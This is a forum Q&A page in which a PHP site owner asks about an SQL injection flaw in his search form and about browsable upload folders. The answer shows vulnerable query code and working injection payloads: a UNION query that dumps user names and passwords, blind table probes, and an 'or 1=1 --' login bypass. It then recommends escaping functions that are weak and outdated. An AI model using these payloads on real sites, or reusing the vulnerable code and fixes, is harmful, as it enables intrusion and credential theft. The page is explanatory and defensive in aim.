Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • SEARCH
  • Home
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 6691697
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: May 26, 20262026-05-26T05:46:55+00:00 2026-05-26T05:46:55+00:00

I am building a very small website (with PHP) and I have 2 big

  • 0

I am building a very small website (with PHP) and I have 2 big issues
The first one is about my search form
I have build a really simple search form in order to retrieve my content, then I used an online security tool and show me that my search form was vulnerable to SQLi
I had no idea abut that so I started testing some attacks I found on some sites
As far as now only 'OR 'x'='x worked (it returns the entire content of my website, is this bad? How can an attacker hurt me?
The second issue is about my photos, I am using a folder called mywebsite.com/uploads/ to access my photos
Although /upload is protected the subfolders uploads/temp and uploads/thumbs are visible through the browser
May this be hurtful too?
Any advice?

  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. Editorial Team
    Editorial Team
    2026-05-26T05:46:55+00:00Added an answer on May 26, 2026 at 5:46 am

    SQL injection is really bad but i like it 🙂

    there is many types of sql injection like

    remote sql injecton
    blind sql injection
    auto bypass sql injection

     **Remote sql injection**
    

    its the easy way to get data from site hacker use it like coders
    see this example

    mysql_query("SELECT * FROM `table_name` WHERE id=".$_GET['id']." ) ;
    

    There is no security in my code

    site.php?id=1

    my query will execute like

    mysql_query("SELECT * FROM `table_name` WHERE id=1 ) ;
    

    if hacker he will kill your code

    site.php?id=1(any thing here can make problem ex: ` ‘ a-z A-Z / * / ” )

    Because query will be like this

    mysql_query("SELECT * FROM `table_name` WHERE id=1' ) ;
    

    so single quotaion will make error in your query

    and hacker can attack like this

    site.php?id=1 union select 0,1,concat(user_name,0x3a,password),3,4 from users
    

    here your query will execute like

    mysql_query("SELECT * FROM `table_name` WHERE id=1 union select 0,1,concat(user_name,0x3a,password),3,4 from users) ");
    

    and this will work 🙂

    blind sql injection

    hacker cannot work with easy way remote sql injection

    because it here depend on right and false

    so he will use and or

    like this

     and (select user_name from users) ;
    

    if work fine the script will work good else error will happen

    he can know database info like this

    example admin table is admin

     and (select user_name from users) ;      x error
    
     and (select user_name from admin) ;      fine
    

    auto bypass

    its blicd sql injection but only true condition can access to admin

    mysql_query("SELECT * FROM `users` WHERE `user_name`= ".$_POST['user']." AND `password` ='".md5($_POST['pass'])."' ");
    

    hacker can login like this

    user = anything’ or 1=1 —

    so your query will be like

    mysql_query("SELECT * FROM `users` WHERE `user_name`= anything or 1=1 --");
    

    anything is error user in databse

    but condition or 1=1 is true

    — will ignore your password check

    he can access easily

    protect

    addslashes _ mysql_real_escape_string _ intval ( with number only )
    

    folder premission you can use

    empty index.html , index.php ,

    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Related Questions

I'm about to begin work on my first ever PHP project -- building a
I am building a very small temprorary website that needs a small backing store.
I'm building a website with very small amounts of Javascript, just to add things
I'm building a very small web ERP application with PHP / mySQL / CodeIgniter
Here's a very broad question: I've been building a small MVC framework in PHP,
I'm building a small experiment in php/javascript, where people have to rate the familiarity
I am currently building a very small/simple web application in ASP.NET MVC with ADO.NET
We're building a very content rich site in Drupal. It's my first time working
I have very little experience building software for Windows, and zero experience using the
I'm building a website that requires very basic markup capabilities. I can't use any

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.